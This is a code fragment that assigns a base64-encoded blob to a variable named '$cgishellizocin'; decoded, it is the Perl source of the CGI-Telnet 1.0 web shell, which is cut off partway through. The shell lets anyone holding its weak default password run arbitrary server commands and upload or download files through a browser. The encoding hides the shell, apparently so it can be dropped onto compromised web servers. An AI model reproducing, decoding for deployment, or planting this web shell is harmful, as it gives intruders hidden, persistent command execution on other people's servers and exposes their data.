$cgishellizocin = 'IyEvdXNyL2Jpbi9wZXJsCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDb3B5cmlnaHQgYW5kIExpY2VuY2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIENHSS1UZWxuZXQgVmVyc2lvbiAxLjAgZm9yIE5UIGFuZCBVbml4IDogUnVuIENvbW1hbmRzIG9uIHlvdXIgV2ViIFNlcnZlcgojCiMgQ29weXJpZ2h0IChDKSAyMDAxIFJvaGl0YWIgQmF0cmEKIyBQZXJtaXNzaW9uIGlzIGdyYW50ZWQgdG8gdXNlLCBkaXN0cmlidXRlIGFuZCBtb2RpZnkgdGhpcyBzY3JpcHQgc28gbG9uZwojIGFzIHRoaXMgY29weXJpZ2h0IG5vdGljZSBpcyBsZWZ0IGludGFjdC4gSWYgeW91IG1ha2UgY2hhbmdlcyB0byB0aGUgc2NyaXB0CiMgcGxlYXNlIGRvY3VtZW50IHRoZW0gYW5kIGluZm9ybSBtZS4gSWYgeW91IHdvdWxkIGxpa2UgYW55IGNoYW5nZXMgdG8gYmUgbWFkZQojIGluIHRoaXMgc2NyaXB0LCB5b3UgY2FuIGUtbWFpbCBtZS4KIwojIEF1dGhvcjogUm9oaXRhYiBCYXRyYQojIEF1dGhvciBlLW1haWw6IHJvaGl0YWJAcm9oaXRhYi5jb20KIyBBdXRob3IgSG9tZXBhZ2U6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vCiMgU2NyaXB0IEhvbWVwYWdlOiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL2NnaXNjcmlwdHMvY2dpdGVsbmV0Lmh0bWwKIyBQcm9kdWN0IFN1cHBvcnQ6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vc3VwcG9ydC8KIyBEaXNjdXNzaW9uIEZvcnVtOiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL2Rpc2N1c3MvCiMgTWFpbGluZyBMaXN0OiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL21saXN0LwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgSW5zdGFsbGF0aW9uCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUbyBpbnN0YWxsIHRoaXMgc2NyaXB0CiMKIyAxLiBNb2RpZnkgdGhlIGZpcnN0IGxpbmUgIiMhL3Vzci9iaW4vcGVybCIgdG8gcG9pbnQgdG8gdGhlIGNvcnJlY3QgcGF0aCBvbgojICAgIHlvdXIgc2VydmVyLiBGb3IgbW9zdCBzZXJ2ZXJzLCB5b3UgbWF5IG5vdCBuZWVkIHRvIG1vZGlmeSB0aGlzLgojIDIuIENoYW5nZSB0aGUgcGFzc3dvcmQgaW4gdGhlIENvbmZpZ3VyYXRpb24gc2VjdGlvbiBiZWxvdy4KIyAzLiBJZiB5b3UncmUgcnVubmluZyB0aGUgc2NyaXB0IHVuZGVyIFdpbmRvd3MgTlQsIHNldCAkV2luTlQgPSAxIGluIHRoZQojICAgIENvbmZpZ3VyYXRpb24gU2VjdGlvbiBiZWxvdy4KIyA0LiBVcGxvYWQgdGhlIHNjcmlwdCB0byBhIGRpcmVjdG9yeSBvbiB5b3VyIHNlcnZlciB3aGljaCBoYXMgcGVybWlzc2lvbnMgdG8KIyAgICBleGVjdXRlIENHSSBzY3JpcHRzLiBUaGlzIGlzIHVzdWFsbHkgY2dpLWJpbi4gTWFrZSBzdXJlIHRoYXQgeW91IHVwbG9hZAojICAgIHRoZSBzY3JpcHQgaW4gQVNDSUkgbW9kZS4KIyA1LiBDaGFuZ2UgdGhlIHBlcm1pc3Npb24gKENITU9EKSBvZiB0aGUgc2NyaXB0IHRvIDc1NS4KIyA2LiBPcGVuIHRoZSBzY3JpcHQgaW4geW91ciB3ZWIgYnJvd3Nlci4gSWYgeW91IHVwbG9hZGVkIHRoZSBzY3JpcHQgaW4KIyAgICBjZ2ktYmluLCB0aGlzIHNob3VsZCBiZSBodHRwOi8vd3d3LnlvdXJzZXJ2ZXIuY29tL2NnaS1iaW4vY2dpdGVsbmV0LnBsCiMgNy4gTG9naW4gdXNpbmcgdGhlIHBhc3N3b3JkIHRoYXQgeW91IHNwZWNpZmllZCBpbiBTdGVwIDIuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDb25maWd1cmF0aW9uOiBZb3UgbmVlZCB0byBjaGFuZ2Ugb25seSAkUGFzc3dvcmQgYW5kICRXaW5OVC4gVGhlIG90aGVyCiMgdmFsdWVzIHNob3VsZCB3b3JrIGZpbmUgZm9yIG1vc3Qgc3lzdGVtcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQokUGFzc3dvcmQgPSAiMTIzNDU2IjsJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4KCiRXaW5OVCA9IDA7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZgoJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQKCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuCgokTlRDbWRTZXAgPSAiJiI7CQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULgoKJFVuaXhDbWRTZXAgPSAiOyI7CQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4LgoKJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDsJIyBUaW1lIGluIHNlY29uZHMgYWZ0ZXIgY29tbWFuZHMgd2lsbCBiZSBraWxsZWQKCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzCgkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkjIHRha2UgdmVyeSBsb25nIHRvIGV4ZWN1dGUsIGxpa2UgImZpbmQgLyIuCgkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzCgkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlCgkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQoJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UKCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0CgkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQKIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLgojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YKIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQojIHNjcmlwdHMuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJlYWRQYXJzZSAKewoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsKCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7CgkKCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOwoKCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpCgl7CgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307Cgl9CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikKCXsKCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7CgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsKCX0KCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IAoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IAoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07CgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOwoJCSRIZWFkZXIgPSAkYDsKCQkkQm9keSA9ICQnOwogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7CgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyAKCQkkaW57J2YnfSA9ICQxOyAKCQkkaW57J2YnfSA9fiBzL1wiLy9nOwoJCSRpbnsnZid9ID1+IHMvXHMvL2c7CgoJCSMgcGFyc2UgdHJhaWxlcgoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspCgkJeyAKCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87CgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsKCQkJJGtleSA9ICQxOwoJCQkkdmFsID0gJCc7CgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSA9ICR2YWw7IAoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRpICgwIC4uICQjaW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49ICR2YWw7CgkJfQoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIFBhZ2UgSGVhZGVyCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VIZWFkZXIKewoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7CgkkRW5jb2RlZEN1cnJlbnREaXIgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8dGl0bGU+Q0dJLVRlbG5ldCBWZXJzaW9uIDEuMDwvdGl0bGU+CiRIdG1sTWV0YUhlYWRlcgo8L2hlYWQ+Cjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5mb2N1cygpIiBiZ2NvbG9yPSIjMDAwMDAwIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiPgo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIyIj4KPHRyPgo8dGQgYmdjb2xvcj0iI0MyQkZBNSIgYm9yZGVyY29sb3I9IiMwMDAwODAiIGFsaWduPSJjZW50ZXIiPgo8Yj48Zm9udCBjb2xvcj0iIzAwMDA4MCIgc2l6ZT0iMiI+IzwvZm9udD48L2I+PC90ZD4KPHRkIGJnY29sb3I9IiMwMDAwODAiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiIGNvbG9yPSIjRkZGRkZGIj48Yj5DR0ktVGVsbmV0IFZlcnNpb24gMS4wIC0gQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPC9iPjwvZm9udD48L3RkPgo8L3RyPgo8dHI+Cjx0ZCBjb2xzcGFuPSIyIiBiZ2NvbG9yPSIjQzJCRkE1Ij48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5EaXNjb25uZWN0PC9hPiB8CjxhIGhyZWY9Imh0dHA6Ly93d3cucm9oaXRhYi5jb20vY2dpc2NyaXB0cy9jZ2l0ZWxuZXQuaHRtbCI+SGVscDwvYT4KPC9mb250PjwvdGQ+CjwvdHI+CjwvdGFibGU+Cjxmb250IGNvbG9yPSIjQzBDMEMwIiBzaXplPSIzIj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luU2NyZWVuCnsKCSRNZXNzYWdlID0gcSQ8cHJlPjxmb250IGNvbG9yPSIjNjY5OTk5Ij4gX19fX18gIF9fX19fICBfX19fXyAgICAgICAgICBfX19fXyAgICAgICAgXyAgICAgICAgICAgICAgIF8KLyAgX18gXHwgIF9fIFx8XyAgIF98ICAgICAgICB8XyAgIF98ICAgICAgfCB8ICAgICAgICAgICAgIHwgfAp8IC8gIFwvfCB8ICBcLyAgfCB8ICAgX19fX19fICAgfCB8ICAgIF9fXyB8IHwgXyBfXyAgICBfX18gfCB8Xwp8IHwgICAgfCB8IF9fICAgfCB8ICB8X19fX19ffCAgfCB8ICAgLyBfIFx8IHx8ICdfIFwgIC8gXyBcfCBfX3wKfCBcX18vXHwgfF9cIFwgX3wgfF8gICAgICAgICAgIHwgfCAgfCAgX18vfCB8fCB8IHwgfHwgIF9fL3wgfF8KIFxfX19fLyBcX19fXy8gXF9fXy8gICAgICAgICAgIFxfLyAgIFxfX198fF98fF98IHxffCBcX19ffCBcX198IDEuMAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAo8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiAgICAgICAgICAgICAgICAgICAgICBfX19fX18gICAgICAgICAgICAgPC9mb250Pjxmb250IGNvbG9yPSIjQUU4MzAwIj7CqSAyMDAxLCBSb2hpdGFiIEJhdHJhPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4KICAgICAgICAgICAgICAgICAgIC4tJnF1b3Q7ICAgICAgJnF1b3Q7LS4KICAgICAgICAgICAgICAgICAgLyAgICAgICAgICAgIFwKICAgICAgICAgICAgICAgICB8ICAgICAgICAgICAgICB8CiAgICAgICAgICAgICAgICAgfCwgIC4tLiAgLi0uICAsfAogICAgICAgICAgICAgICAgIHwgKShfby8gIFxvXykoIHwKICAgICAgICAgICAgICAgICB8LyAgICAgL1wgICAgIFx8CiAgICAgICAoQF8gICAgICAgKF8gICAgIF5eICAgICBfKQogIF8gICAgICkgXDwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X19fX19fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+XDwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPnxJSUlJSUl8PC9mb250Pjxmb250IGNvbG9yPSIjODA4MDgwIj5fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+LzwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X19fX19fX19fX19fX19fX19fX19fX18KPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4gKF8pPC9mb250Pjxmb250IGNvbG9yPSIjODA4MDgwIj5AOEA4PC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj57fTwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+Jmx0O19fX19fX19fPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj58LVxJSUlJSUkvLXw8L2ZvbnQ+PGZvbnQgY29sb3I9IiM4MDgwODAiPl9fX19fX19fX19fX19fX19fX19fX19fXyZndDs8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPgogICAgICAgIClfLyAgICAgICAgXCAgICAgICAgICAvIAogICAgICAgKEAgICAgICAgICAgIGAtLS0tLS0tLWAKICAgICAgICAgICAgIDwvZm9udD48Zm9udCBjb2xvcj0iI0FFODMwMCI+VyBBIFIgTiBJIE4gRzogUHJpdmF0ZSBTZXJ2ZXI8L2ZvbnQ+PC9wcmU+CiQ7CiMnCglwcmludCA8PEVORDsKPGNvZGU+ClRyeWluZyAkU2VydmVyTmFtZS4uLjxicj4KQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPGJyPgpFc2NhcGUgY2hhcmFjdGVyIGlzIF5dCjxjb2RlPiRNZXNzYWdlCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGNvZGU+Cjxicj5sb2dpbjogYWRtaW48YnI+CnBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5Gb3JtCnsKCXByaW50IDw8RU5EOwo8Y29kZT4KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CmxvZ2luOiBhZG1pbjxicj4KcGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlRm9vdGVyCnsKCXByaW50ICI8L2ZvbnQ+PC9ib2R5PjwvaHRtbD4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2llc3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICI8Y29kZT5Db25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj48L2NvZGU+IjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ291dAp7CglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkmUHJpbnRMb2dvdXRTY3JlZW47CgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0CiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QKIyBtYXRjaCBvciBpZiBubyBwYXNzd29yZCBpcyBlbnRlcmVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIKIyB0byBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9naW4gCnsKCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkCgl7CgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWd